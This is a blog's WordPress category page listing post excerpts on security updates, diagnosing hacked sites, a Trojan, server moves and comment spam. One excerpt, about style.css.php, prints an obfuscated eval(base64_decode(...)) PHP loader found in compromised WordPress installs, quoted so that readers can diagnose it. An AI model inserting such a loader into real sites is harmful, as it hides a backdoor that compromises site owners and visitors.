Category: WordPress
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Friendly WordPress Upgrade Reminders
If you weren’t already aware, the gang at WordPress just shipped a pretty critical security update. In fact, it’s kind of a big deal. So much so that I went around and patched all my sites the second their update on the matter hit my phone. Since I’ve put a lot of energy into helping…
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WordPress, style.css.php and You
I’ve been seeing this code crop up a lot in some of the recent WordPress hacks that I’ve had to diagnose: < ?php /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==’)); ?> Most folks with this issue have a problem with “wp-login.php” returning a blank page for users trying to get into “wp-admin” — so if you’re seeing that, it may be…
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Switching Things Up
Yesterday, I quietly switched this site over from its old Apache server to the much more lightweight combination of nginx + XCache. As someone who has worked with Apache servers for roughly 14 years now, the thought of moving my personal site to a server environment that I didn’t know how to troubleshoot in great detail was terrifying.…
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Rekismet
After examining a customer’s 150,000+ row wp_comments table at work yesterday, I realized that they’d managed to let WordPress approve a massive amount of spam. Since there was no way I was going back thru all of that by hand, I knew that I had to come up with something clever. Fortunately, running your already…
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Just Another Magic Monday
Have you recently found yourself editing a post on your WordPress install only to find yourself facing the following prompt? The server at Magic requires a username and password. Well my friend, you’ve been hacked. Apparently this has something to do with the cross-site scripting (XSS) bug addressed with the WordPress 2.8.2 and 2.8.3 updates.…
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Goodbye Horses
So I’ve been helping a few folks out with a Trojan that has been cropping up in a handful of WordPress installs as of late. Currently, it has been getting noticed by the good little girls and boys on Windows with virus scanners installed. When visiting an infected site, most folks are being prompted to…
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WordPress, remv.php and You
While hacked sites happen, the hacks are fairly benign. Normally, folks with hacked sites see a few spam links at the bottom of their pages. That sort of thing can normally be cleaned up with an upgrade. When I have to deal with them, it also involves a rap on the knuckles and a lecture on the…
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Shuffling Around
Sorry about the bit of downtime this morning and afternoon, folks! I’ve been trying to spread the hosting for my domains across a few users and I managed to take down my site in the process. Apparently I forgot about the quirks involved in running WordPress under mod_php. D’oh! Things are back up now tho…
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In Transit
Heads up, SF peeps! This weekend I’ll be driving up to the Yay Area for WordCamp to rep both DreamHost and Preshrunk in an official capacity. As it stands, I’m driving up Friday night and crashing out at Frazier’s secret headquarters somewhere in the East Bay. Since I don’t like being part of the problem…
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Productivity
Damn. I’ve been a busy bee tonight… Wrote the first Preshrunk post in almost 3 months. Customized my Virb profile. Ran a handful of new stuff on tinyblip. Upgraded the rest of my sites to WordPress 2.2. Made it to the gym and actually worked out. Sadly, I can’t remember the last time I pulled…
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Attack Of The Comment Spam
Something that’s been really grinding my gears lately is the amount of comment spam that I’ve been seeing in my moderation queue. Despite the fact that I use the very wonderful Akismet for WordPress, sometimes it can’t keep up with the flood coming down the proverbial tubes. Something’s that’s really helped is a little bit…